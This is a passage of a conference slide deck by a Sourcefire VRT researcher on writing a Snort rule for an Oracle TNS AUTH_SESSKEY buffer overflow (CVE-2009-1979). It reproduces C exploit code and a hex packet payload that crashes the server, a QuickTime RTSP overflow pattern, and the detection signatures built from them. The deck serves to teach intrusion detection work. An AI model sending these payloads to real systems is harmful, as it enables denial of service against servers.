Upload
helmut
View
36
Download
0
Embed Size (px)
DESCRIPTION
Life Cycle of a Snort Rule: From Vulnerability to Coverage. Alex Kirk Sourcefire VRT. About the Sourcefire VRT. Founded in 2001 20 team members Core team members based in Columbia, Maryland (USA) ClamAV team members based in Poland, Italy and Germany - PowerPoint PPT Presentation
Citation preview
Life Cycle of a Snort Rule: From Vulnerability to Coverage
Alex KirkSourcefire VRT
About the Sourcefire VRT
• Founded in 2001• 20 team members
– Core team members based in Columbia, Maryland (USA)– ClamAV team members based in Poland, Italy and Germany– Threat Feed team members based in Columbia and India
• Responsibilities include:– Publishing new Snort rules and Sourcefire Protection
Updates– Publishing new ClamAV signatures– Development of the ClamAV Engine
2
Bug Announcement
• Oracle issues October 2009 Critical Patch Update• 16 total bugs are fixed• 3 have a CVSS score of 10• No public information• Reverse-engineering and
fuzzing difficult at best– Too many things fixed at once– Too big of a program
3
Exploit Surfaces
• Dennis Yurichev posts to Full-Disclosure• Source code and Windows executable attached– Script-kiddie friendly DoS– No shellcode included
• Easy launching point for more malicious exploits
4
Run the Exploit
• Does it actually work?– Some published exploits have intentional brokenness– Some are just written by lamers
• Need a valid target– VMware setups are best– Snapshot before you run an exploit
5
Yeah, It Works
6
Get A PCAP
sudo tcpdump –n –i eth0 –s0 –w <pcap name>
7
PCAP Cleanup• Ugly PCAPs are your enemy
– More packets = more work– Broken checksums screw up Snort
• Always use a BPF filter• http://www.shmoo.com/~bmc/software/random/fix-cksum.pl
is your friend
8
Now What?
unsigned char NSPTCN[]= { 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x01, 0x3A, 0x01, 0x2C, 0x00, 0x41, 0x20, 0x00, 0x7F, 0xFF, 0xC6, 0x0E, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x3A, 0x00, 0x00, 0x02, 0x00, //^^ ^^ cmd len 0x61, 0x61, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00
};
#define NSPTCN_HEADER_LEN 58
unsigned char NSPTDA[]= { 0x00, 0x00, 0x00, 0x00, 0x06, 0x00, 0x00, 0x00, // ^^ ^^ packet len 0x00, 0x00 };
#define NSPTDA_HEADER_LEN 10
void s_send_NSPTDA (SOCKET s, char *msg, int size){ char * buf; int sz=size + NSPTDA_HEADER_LEN;
buf=(char*)malloc (sz);
NSPTDA[0]=( sz ) >> 8; NSPTDA[1]=( sz ) & 0xFF;
memcpy (buf, NSPTDA, NSPTDA_HEADER_LEN); memcpy (buf + NSPTDA_HEADER_LEN, msg, size);
printf ("s_send_NSPTDA: sending %d bytes...\n", sz);
s_send (s, (char*)buf, sz);
free (buf);};
void s_send_TNS_command (SOCKET s, const char *cmd){ unsigned char * pkt; int cmd_len=strlen (cmd);
printf ("sending [%s]\n", cmd); printf ("len: %d\n", cmd_len);
if (cmd_len<231) {
int str_len=strlen(cmd); int pkt_len=str_len+58;
pkt=(unsigned char*)malloc (str_len+58);
memcpy (pkt, "\x00\x00\x00\x00\x01\x00\x00\x00" // plenH, plenL "\x01\x3A\x01\x2C\x00\x41\x20\x00" "\x7F\xFF\xC6\x0E\x00\x00\x01\x00" "\x00\x00\x00\x3A\x00\x00\x02\x00" // cmdlenH cmdlenL "\x61\x61\x00\x00\x00\x00\x00\x00" "\x00\x00\x00\x00\x00\x00\x00\x00“ "\x00\x00\x00\x00\x00\x00\x00\x00" "\x00\x00", 58);
memcpy (pkt+58, cmd, str_len);
memcpy (pkt1318, "\x05\x26\x00\x00\x06\x00\x00\x00\x00\x00\x03\x73\x03\xFE\xFF\xFF" "\xFF\x05\x00\x00\x00\x01\x01\x00\x00\xFE\xFF\xFF\xFF\x12\x00\x00" "\x00\xFE\xFF\xFF\xFF\xFE\xFF\xFF\xFF\x05\x73\x63\x6F\x74\x74\x0C" "\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x53\x45\x53\x53\x4B\x45\x59" "\x40\x00\x00\x00\x40\x36\x33\x41\x45\x31\x36\x41\x30\x44\x31\x41" "\x46\x31\x45\x39\x33\x37\x41\x44\x36\x36\x46\x34\x46\x31\x35\x36" "\x37\x31\x30\x33\x30\x34\x46\x36\x36\x30\x31\x44\x30\x45\x33\x35" "\x34\x37\x46\x42\x46\x39\x35\x34\x39\x37\x34\x32\x33\x30\x42\x43" "\x30\x36\x45\x34\x30\x01\x00\x00\x00\x0D\x00\x00\x00\x0D\x41\x55" "\x54\x48\x5F\x50\x41\x53\x53\x57\x4F\x52\x44\x40\x00\x00\x00\x40" "\x36\x31\x37\x35\x31\x42\x45\x35\x34\x37\x31\x30\x44\x45\x41\x46" "\x38\x46\x42\x33\x34\x32\x45\x36\x32\x41\x45\x35\x30\x45\x44\x38" "\x45\x43\x38\x30\x39\x33\x31\x44\x33\x44\x45\x34\x42\x33\x41\x37" "\x34\x35\x38\x37\x45\x36\x46\x32\x36\x46\x37\x45\x45\x30\x34\x34" "\x00\x00\x00\x00\x08\x00\x00\x00\x08\x41\x55\x54\x48\x5F\x52\x54" "\x54\x05\x00\x00\x00\x05\x32\x38\x30\x32\x38\x00\x00\x00\x00\x0D" "\x00\x00\x00\x0D\x41\x55\x54\x48\x5F\x43\x4C\x4E\x54\x5F\x4D\x45" "\x4D\x04\x00\x00\x00\x04\x34\x30\x39\x36\x00\x00\x00\x00\x0D\x00" "\x00\x00\x0D\x41\x55\x54\x48\x5F\x54\x45\x52\x4D\x49\x4E\x41\x4C" "\x05\x00\x00\x00\x05\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x0F\x00" "\x00\x00\x0F\x41\x55\x54\x48\x5F\x50\x52\x4F\x47\x52\x41\x4D\x5F" "\x4E\x4D\x0A\x00\x00\x00\x0A\x70\x79\x74\x68\x6F\x6E\x2E\x65\x78" "\x65\x00\x00\x00\x00\x0C\x00\x00\x00\x0C\x41\x55\x54\x48\x5F\x4D" "\x41\x43\x48\x49\x4E\x45\x0F\x00\x00\x00\x0F\x57\x4F\x52\x4B\x47" "\x52\x4F\x55\x50\x5C\x55\x4E\x49\x54\x31\x00\x00\x00\x00\x08\x00" "\x00\x00\x08\x41\x55\x54\x48\x5F\x50\x49\x44\x09\x00\x00\x00\x09" "\x32\x38\x30\x38\x3A\x34\x30\x30\x34\x00\x00\x00\x00\x08\x00\x00" "\x00\x08\x41\x55\x54\x48\x5F\x53\x49\x44\x06\x00\x00\x00\x06\x64" "\x65\x6E\x6E\x69\x73\x00\x00\x00\x00\x16\x00\x00\x00\x16\x53\x45" "\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x43\x48\x41" "\x52\x53\x45\x54\x03\x00\x00\x00\x03\x31\x37\x38\x00\x00\x00\x00" "\x17\x00\x00\x00\x17\x53\x45\x53\x53\x49\x4F\x4E\x5F\x43\x4C\x49" "\x45\x4E\x54\x5F\x4C\x49\x42\x5F\x54\x59\x50\x45\x01\x00\x00\x00" "\x01\x31\x00\x00\x00\x00\x1A\x00\x00\x00\x1A\x53\x45\x53\x53\x49“ "\x4F\x4E\x5F\x43\x4C\x49\x45\x4E\x54\x5F\x44\x52\x49\x56\x45\x52"
9
Aha! "\x2E\x53\x53\x58\x46\x46\x20\x41\x4D\x20\x54\x5A\x52\x27\x00\x00" "\x00\x00\x00\x00\x17\x00\x00\x00\x17\x41\x55\x54\x48\x5F\x4C\x4F" "\x47\x49\x43\x41\x4C\x5F\x53\x45\x53\x53\x49\x4F\x4E\x5F\x49\x44" "\x20\x00\x00\x00\x20\x35\x44\x46\x34\x37\x43\x45\x35\x42\x38\x42" "\x32\x34\x43\x46\x38\x42\x46\x42\x36\x46\x30\x46\x36\x39\x32\x42" "\x38\x46\x42\x39\x38\x00\x00\x00\x00\x10\x00\x00\x00\x10\x41\x55" "\x54\x48\x5F\x46\x41\x49\x4C\x4F\x56\x45\x52\x5F\x49\x44\x00\x00" "\x00\x00\x00\x00\x00\x00" ,1318);
pkt1318[0x41]=0x80;
s_send (s, pkt1318, 1318);
assert (closesocket (s)==0); return true; } else { printf ("while connect(): select() returns zero\n"); assert (closesocket (s)==0); return false; };
10
Validate Your Hypothesis!
11
What’s Different?
• Yes, there are other differences• Start with the one the exploit called out
12
It’s The Length, Stupid
• Undocumented protocols seem scary– How am I ever going
to figure all this out?
• Good news: you don’t need to!
Many binary protocols have length/value pairs
13
Which One?
0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P
0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................
0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_
0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6
0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1
0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC
0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421
0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2....
0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
14
Which One?
0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P
0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................
0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_
0030 53 45 53 53 4b 45 59 40 00 00 00 40 37 42 46 36 SESSKEY@...@7BF6
0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1
0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC
0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421
0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2....
0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
15
Exploit Doesn’t Help
0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P
0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................
0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_
0030 53 45 53 53 4b 45 59 40 80 00 00 40 37 42 46 36 SESSKEY@...@7BF6
0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1
0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC
0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421
0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2....
0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
• Could be either 0x00008040 or 0x80000040– Both are bigger than the data supplied– Both could result in an overflow
16
No Crash
0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P
0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................
0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_
0030 53 45 53 53 4b 45 59 40 00 00 80 40 37 42 46 36 SESSKEY@...@7BF6
0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1
0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC
0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421
0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2....
0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
• Clearly not little-endian• 0x80000040 is HUGE -> 2147483712
17
Crash!
0000 03 73 03 f0 f3 51 00 06 00 00 00 01 01 00 00 50 .s...Q.........P
0010 d5 12 00 0d 00 00 00 f8 d1 12 00 a4 fa 12 00 06 ................
0020 73 79 73 6d 61 6e 0c 00 00 00 0c 41 55 54 48 5f sysman.....AUTH_
0030 53 45 53 53 4b 45 59 40 00 80 00 40 37 42 46 36 SESSKEY@...@7BF6
0040 44 34 34 34 39 32 31 46 44 31 30 38 31 32 45 31 D444921FD10812E1
0050 32 46 32 41 30 42 43 45 37 39 43 46 37 30 44 43 2F2A0BCE79CF70DC
0060 39 45 31 35 42 37 37 42 35 41 42 34 43 34 32 31 9E15B77B5AB4C421
0070 42 32 36 39 46 34 32 39 33 37 44 32 01 00 00 00 B269F42937D2....
0080 0d 00 00 00 0d 41 55 54 48 5f 50 41 53 53 57 4f .....AUTH_PASSWO
• Works as big-endian number• Minimum size for crash = 0x00010000 (65536)
18
Snort Rule - Conditions• Must be on TCP port 1521 (standard for TNS)• Must be sent to a server, not a client• Must contain “AUTH_SESSKEY”• 4-byte size that follows must be > 65535• That’s it!
19
Snort Rulealert tcp $EXTERNAL_NET any -> $HOME_NET 1521
(msg:”ORACLE auth_sesskey buffer overflow attempt”; flow:established,to_server; content:”AUTH_SESSKEY”; nocase; byte_test:4,>,65535,1,relative; reference:bugtraq,36747; reference:cve,2009-1979; classtype:attempted-admin; sid:99970;)
20
Trust But Verifyakirk@sf:~/downloads/snort-2.8.5$ src/snort -c etc/snort.conf -q -A cmg
-r ~/pcaps/cve-2009-1979.pcap
11/16-13:34:05.613227 [**] [1:99970:0] ORACLE auth_sesskey buffer overflow attempt [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.4.11.66:57116 -> 10.4.10.136
:1521
11/16-13:34:05.613227 0:23:AE:88:C2:38 -> 0:C:29:80:98:1B type:0x800 len:0x55C
10.4.11.66:57116 -> 10.4.10.136:1521 TCP TTL:128 TOS:0x0 ID:14082 IpLen:20 DgmLen:1358 DF
***AP**F Seq: 0x32E2F59C Ack: 0x885EAB16 Win: 0x3FCD TcpLen: 20
05 26 00 00 06 00 00 00 00 00 03 73 03 FE FF FF .&.........s....
FF 05 00 00 00 01 01 00 00 FE FF FF FF 12 00 00 ................
00 FE FF FF FF FE FF FF FF 05 73 63 6F 74 74 0C ..........scott.
00 00 00 0C 41 55 54 48 5F 53 45 53 53 4B 45 59 ....AUTH_SESSKEY
40 80 00 00 40 36 33 41 45 31 36 41 30 44 31 41 @...@63AE16A0D1A
Don’t forget to test your valid traffic, too!
21
False Positives• Nobody’s perfect• Part of any rule-writer’s job: fixing mistakes
22
False Positive Example: SID 12741• QuickTime buffer overflow• Looks like:RTSP/1.0 200 OK
Content-Type: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <shellcode goes here>
23
Evasion Case RTSP/1.0 200 OK
Content-Type : AAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA <shellcode goes here>
Spaces between “Content-Type” and “:”24
Existing Rulealert tcp $EXTERNAL_NET 554 -> $HOME_NET
any (msg:"EXPLOIT Apple Quicktime TCP RTSP sdp type buffer overflow attempt"; flow:to_client,established; content:"RTSP"; depth:4; content:"Content-Type"; nocase; content:"|3A|"; distance:0; isdataat:256,relative; content:!"|0A|"; within:256; content:!"|3A|"; within:256; metadata:service rtsp; reference:bugtraq,26549; reference:cve,2007-6166; classtype:attempted-user; sid:12741; rev:9;)
25
Rule Problem• Goal - Allow for spaces between “Content-
Type” and “:”• Actual result – any “:” following “Content-
Type” in the packet matches
RTSP/1.0 200 OK
Content-Type: application/sdp
a=pgmpu:data:application/x-wms- contentdesc,8,language,31,0,,42,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_URL,31,1,/,58,WMS_CONTENT_DESCRIPTION_COPIED_METADATA_FROM_PLAYLIST_FILE,3,1,1,47,WMS_CONTENT_DESCRIPTION_PLAYLIST_ENTRY_DURATION...
26
Fixed Rulealert tcp $EXTERNAL_NET 554 -> $HOME_NET any
(msg:"EXPLOIT Apple Quicktime TCP RTSP sdp type buffer overflow attempt"; flow:to_client,established; content:"RTSP"; depth:4; fast_pattern; content:"Content-Type"; nocase; isdataat:257,relative; content:!"|0A|"; within:257; pcre:"/Content-Type\s*\x3A[^\n\x3A]{256}/smi"; metadata:service rtsp; reference:bugtraq,26549; reference:cve,2007-6166; classtype:attempted-user; sid:12741; rev:10;)
27
Improvements• PCRE validates spaces – more accurate• Uses new “fast_pattern” keyword– “Content-Type” is common– “RTSP” is not– Matching less common content
means other rule options getevaluated less, so rule is faster
28
New Snort Keywords• http_method• http_client_body• http_header• http_cookie
• All restrict where you search for a content match• Smaller search area = faster, more accurate• Check the Snort Manual frequently!
29
Questions?Email: [email protected]: #snort on freenodeVRT Blog: http://vrt-sourcefire.blogspot.com/Mailing Lists:
https://lists.sourceforge.com/lists/listinfo/snort-users https://lists.sourceforge.com/lists/listinfo/snort-sigsTwitter: http//www.twitter.com/vrt_sourcefire
30